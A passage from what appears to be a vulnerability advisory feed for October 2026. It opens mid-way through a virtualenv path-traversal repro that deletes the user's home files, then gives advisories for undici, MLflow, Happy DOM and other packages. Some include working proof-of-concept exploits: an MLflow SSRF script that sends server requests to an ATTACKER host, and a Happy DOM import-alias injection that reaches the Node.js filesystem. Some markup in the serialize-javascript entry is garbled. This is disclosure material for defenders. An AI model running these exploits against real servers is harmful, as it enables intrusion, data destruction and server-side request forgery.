 text=True,
 check=True,
 )
 print(result.stdout, end="")

def files_left(home):
 return [f for f in USER_FILES if (home / f).exists()]

# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")
```

**`repro.d/make_project_tree.py`**

```text
#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
 dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
 dist_info.mkdir(parents=True)
 (

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MSAL Node authorization code flow may disclose parameters to an attacker-controlled endpoint
https://kevwire.com/record/CVE-2026-109461
MSAL Node authorization code flow may disclose parameters to an attacker-controlled endpoint (Oct 23, 2026).
Origin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow.

Version 7.1.0 and higher are patched.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xcx6-jx8p-x3h5).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xcx6-jx8p-x3h5: https://github.com/advisories/GHSA-xcx6-jx8p-x3h5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25
### Impact

Origin validation error in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to disclose information over a network. This affects the auth_code flow.

### Patches

Version 7.1.0 and higher are patched.

### Workarounds

Ensure you pass in only the auth_code to to acquireTokenByCode

Affected package ranges reported by GitHub:
@azure/msal-node: >= 5.0.0-beta.0, < 7.1.0
Action: GitHub lists first patched versions: @azure/msal-node: 7.1.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici vulnerable to Denial of Service via unhandled error on excessive content-encodings
https://kevwire.com/record/CVE-2026-109869
undici vulnerable to Denial of Service via unhandled error on excessive content-encodings (Oct 23, 2026).
undici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected.

Upgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xjj6-f33q-929c).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xjj6-f33q-929c: https://github.com/advisories/GHSA-xjj6-f33q-929c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-109869: https://nvd.nist.gov/vuln/detail/CVE-2026-109869
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109869&date=2026-10-25
### Impact

undici's `fetch()` crashes the Node.js process when a malicious server returns a response with more than five content codings and closes the connection before sending the body. undici rejects such responses (a content-encoding limit), but it created the internal response stream before that check and returned without attaching an error listener or aborting the request. The early close then surfaces a content-length mismatch on that orphaned internal stream, which Node.js treats as an unhandled `error` and terminates the process. A remote, unauthenticated server can trigger this with a single response, even when the application correctly catches the `fetch()` rejection. undici 6.x, 7.x, and 8.x are affected.

### Patches

Upgrade to `6.29.1`, `7.30.1`, or `8.12.2`. undici now validates the content-encoding chain before creating the internal body stream and aborts the response when the limit is exceeded, so no error can surface on an orphaned stream.

### Workarounds

None.

Affected package ranges reported by GitHub:
undici: >= 6.23.0, < 6.29.1
undici: >= 7.18.0, < 7.30.1
undici: >= 8.0.0, < 8.12.2
Action: GitHub lists first patched versions: undici: 6.29.1; undici: 7.30.1; undici: 8.12.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici vulnerable to Denial of Service via unbounded memory in the EventSource parser
https://kevwire.com/record/CVE-2026-109924
undici vulnerable to Denial of Service via unbounded memory in the EventSource parser (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround.
CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4qv8-2p9j-2685).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25).
Sources:
NVD CVE-2026-109924: https://nvd.nist.gov/vuln/detail/CVE-2026-109924
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
GitHub-reviewed advisory GHSA-4qv8-2p9j-2685: https://github.com/advisories/GHSA-4qv8-2p9j-2685
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109924&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 6.5.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its EventSource client can be driven to exhaust process memory by a malicious or compromised Server-Sent Events peer. By sending millions of tiny completed data fields with no blank event separator, or a single unfinished line split across many chunks, the parser retains a growing amount of per-field and per-chunk state that the byte-based maxEventSize and maxResponseSize limits do not bound, and because maxResponseSize is enforced on the compressed body before decompression, a small compressed response can expand into enough retained memory to terminate the process. An application only needs to maintain an EventSource connection to an untrusted peer, which controls only the response, and availability is the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which bound the retained parser state independently of the byte limits, and users should upgrade to one of those versions or later. There is no workaround.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici vulnerable to Subresource Integrity bypass via non-lowercase algorithm tokens
https://kevwire.com/record/CVE-2026-109841
undici vulnerable to Subresource Integrity bypass via non-lowercase algorithm tokens (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata.
CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f72v-6w45-q472).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25).
Sources:
NVD CVE-2026-109841: https://nvd.nist.gov/vuln/detail/CVE-2026-109841
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
GitHub-reviewed advisory GHSA-f72v-6w45-q472: https://github.com/advisories/GHSA-f72v-6w45-q472
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109841&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its fetch() implementation verifies Subresource Integrity metadata by matching the algorithm token against a lowercase-only set, even though the SRI specification defines the token by its ASCII-lowercase form, so a valid but non-lowercase token such as an uppercase or mixed-case SHA256 is treated as unknown and skipped. When no recognized algorithm remains, undici treats the integrity list as empty and accepts the response, so a server returning a body that does not match the pinned digest passes the check. An attacker who controls only the response body can therefore deliver attacker-controlled bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error, affecting response integrity only. The issue is fixed in undici 7.30.1 and 8.12.2, which normalize the algorithm token to ASCII lowercase before validation, and users should upgrade to one of those versions or later. As a workaround, use lowercase algorithm tokens such as sha256, sha384, or sha512 in integrity metadata.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script at the end of a serialized function body
https://kevwire.com/record/CVE-2026-115897
Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script at the end of a serialized function body (Oct 23, 2026).
`serialize-javascript` escapes its output so it is safe to embed inside a
` ` element. Before 7.1.3 that guarantee did not hold for a **function
value whose source ends in a bare ` `).
A body ending exactly at ` ` followed by markup:

```js
const serialize = require('serialize-javascript');
function f() {} f.toString = () => 'function f(){ return 1 }// 'function g(x){ return x } > ';
serialize({ a: { f }, g }, { space: 2 });
// {
// "a": {
// "f": function f(){ return 1 }// 
// }
```
CVSS 2.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-m5mm-p8h7-m29v).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-m5mm-p8h7-m29v: https://github.com/advisories/GHSA-m5mm-p8h7-m29v
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25
### Impact

`serialize-javascript` escapes its output so it is safe to embed inside a
` ` element. Before 7.1.3 that guarantee did not hold for a **function
value whose source ends in a bare ` `).
A body ending exactly at ` ` followed by markup:

```js
const serialize = require('serialize-javascript');
function f() {} f.toString = () => 'function f(){ return 1 }// 'function g(x){ return x } > ';
serialize({ a: { f }, g }, { space: 2 });
// {
// "a": {
// "f": function f(){ return 1 }// 
// }
```

Embedded in a ` ` element, the script ends at the injected tag and the
` ` becomes a live element in the page.

Exploitation requires an attacker to control the **source text** of a
serialized function, in practice through a spoofed `toString()`. Real
functions always end in `}`, so ordinary function values are not affected,
and non-function values (including strings containing `</script`) are
escaped correctly.

### Patches

Fixed in **7.1.3** (#235). The bare `</script` form is now also matched at
the end of the function body, so it is escaped regardless of what follows it
in the output.

### Workarounds

Upgrade to **7.1.3**. If you cannot upgrade, do not serialize function values
whose source text (or `toString()`) can be influenced by an attacker.

### Credits

Reported by **ha_kr25** via the Yahoo bug bounty program.

Affected package ranges reported by GitHub:
serialize-javascript: < 7.1.3
Action: GitHub lists first patched versions: serialize-javascript: 7.1.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### multer vulnerable to Denial of Service via a pending asynchronous fileFilter after request teardown
https://kevwire.com/record/CVE-2026-113872
multer vulnerable to Denial of Service via a pending asynchronous fileFilter after request teardown (Oct 22, 2026).
multer is a middleware for Node.js that handles multipart/form-data file uploads. In versions from 2.0.0 before 2.5.0, when multer is configured with an asynchronous fileFilter, a single request can crash the Node.js process. If the request is aborted while one file's asynchronous fileFilter is still pending, the pending callback later resumes a parsing stream that multer has already torn down, and the underlying parser emits an error on a stream that no longer has an error listener, which Node raises as an unhandled error event so the process exits. Any application using multer with an asynchronous fileFilter is affected regardless of storage engine, while uploads using a synchronous fileFilter are not affected. The issue is fixed in multer 2.5.0, and users should upgrade to 2.5.0 or later. As a workaround, use a synchronous fileFilter.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-q7qp-rjg7-q26m).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113872&date=2026-10-25).
Sources:
NVD CVE-2026-113872: https://nvd.nist.gov/vuln/detail/CVE-2026-113872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
GitHub-reviewed advisory GHSA-q7qp-rjg7-q26m: https://github.com/advisories/GHSA-q7qp-rjg7-q26m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113872&date=2026-10-25
multer is a middleware for Node.js that handles multipart/form-data file uploads. In versions from 2.0.0 before 2.5.0, when multer is configured with an asynchronous fileFilter, a single request can crash the Node.js process. If the request is aborted while one file's asynchronous fileFilter is still pending, the pending callback later resumes a parsing stream that multer has already torn down, and the underlying parser emits an error on a stream that no longer has an error listener, which Node raises as an unhandled error event so the process exits. Any application using multer with an asynchronous fileFilter is affected regardless of storage engine, while uploads using a synchronous fileFilter are not affected. The issue is fixed in multer 2.5.0, and users should upgrade to 2.5.0 or later. As a workaround, use a synchronous fileFilter.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
https://kevwire.com/record/CVE-2026-115886
MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints (Oct 23, 2026).
```python
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
 for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
 raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
```

The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2wqp-q3c6-ccj5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-2wqp-q3c6-ccj5: https://github.com/advisories/GHSA-2wqp-q3c6-ccj5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-25
### Summary
MLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

### Details
`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:

```python
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
 for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
 raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiation
```

The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:

```python
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
 "mlflow.genai.scorers.ragas",
 "mlflow.genai.scorers.deepeval",
 "mlflow.genai.scorers.trulens",
 "mlflow.genai.scorers.phoenix",
})
```

For a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):

```python
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
 return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
 return _create_gateway_provider(backend, **kwargs)
try:
 from trulens.providers.litellm import LiteLLM
 litellm_model = backend.model_name
 ...
 return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded
```

Only the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.

- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.
- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.
- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).

### PoC
```python
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
 span.set_inputs({"q": "hi"})
 span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
 "name": "poc",
 "third_party_scorer_data": {
 "module": "mlflow.genai.scorers.trulens",
 "class": "Coherence",
 "metric_name": "Coherence",
 "model": "openai:/gpt-4o", # routes to the litellm fallback
 "kwargs": {
 "api_base": ATTACKER,
 "api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret
 },
 },
}
resp = requests.post(
 f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
 json={
 "experiment_id": exp_id,
 "serialized_scorer": __import__("json").dumps(serialized_scorer),
 "trace_ids": [trace_id],
 },
)
print(resp.status_code, resp.text)
time.sleep(5) # scorer job runs asynchronously
```

```
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...
```

The `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

### Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.

Affected package ranges reported by GitHub:
mlflow: >= 3.12.0rc0, < 3.17.0
Action: GitHub lists first patched versions: mlflow: 3.17.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
https://kevwire.com/record/CVE-2026-115895
Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (Oct 23, 2026).
The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115895).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-834v-8h66-3h79: https://github.com/advisories/GHSA-834v-8h66-3h79
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115895: https://nvd.nist.gov/vuln/detail/CVE-2026-115895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25
## Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.

These issues were confirmed through the public `Window` and ` ` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.

## Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text
>= 17.0.0, 
 property.alias
 ? `"${property.name}": ${property.alias}`
 : property.name
 )
 .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

Consider the following source:

```js
import {
 missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.

Happy DOM instead transforms it into the equivalent of:

```js
let {
 "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

```ts
if (!match[7] || match[7] === 'esm') {
 resolvableCircularImports.push({ url, properties });
}
```

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

```js
globalThis.constructor.constructor(`return process`)()
 .getBuiltinModule(`node:fs`)
 .mkdirSync(
 globalThis.constructor.constructor(`return process`)().cwd() +
 `/HAPPY_DOM_RCE_PROOF`
 )
```

## Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.

### 1. Create `package.json`

```json
{
 "name": "happy-dom-import-alias-rce-poc",
 "private": true,
 "type": "module",
 "dependencies": {
 "happy-dom": "20.14.5"
 }
}
```

### 2. Create `dep.json`

```json
{}
```

### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

```js
import {
 missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

### 4. Create `poc.mjs`

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
 url: 'https://poc.local/',
 settings: {
 enableJavaScriptEvaluation: true,
 suppressCodeGenerationFromStringsWarning: true,
 fetch: {
 virtualServers: [
 {
 url: 'https://poc.local/',
 directory: process.cwd()
 }
 ]
 }
 }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
 import {
 missing as injected = globalThis.constructor.constructor(\`return process\`)()
 .getBuiltinModule(\`node:fs\`)
 .mkdirSync(
 globalThis.constructor.constructor(\`return process\`)().cwd() +
 \`/HAPPY_DOM_RCE_PROOF\`
 )
 } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
 console.error('[-] Exploit failed: proof directory was not created.');
 console.error(
 window.happyDOM.virtualConsolePrinter.readAsString()
 );
 process.exitCode = 1;
} else {
 console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
```

### 5. Run the control test

```console
npm install
node --check payload.mjs
```

Expected result:

```text
SyntaxError: Unexpected token '='
```

This confirms that the source is not valid ESM.

### 6. Run the Happy DOM PoC

```console
node poc.mjs
```

Expected result:

```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container, where it created:

```text
/poc/HAPPY_DOM_RCE_PROOF
```

## Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

## Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

```js
export { attacker_expression }
```

Its fix

Affected package ranges reported by GitHub:
happy-dom: >= 17.0.0, <= 21.0.3
Action: GitHub lists first patched versions: happy-dom: 21.0.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type
https://kevwire.com/record/CVE-2026-115892
Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type (Oct 23, 2026).
Wasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type.

GHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory.
CVSS 5.7 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9pvw-hwfg-92h5).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9pvw-hwfg-92h5: https://github.com/advisories/GHSA-9pvw-hwfg-92h5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
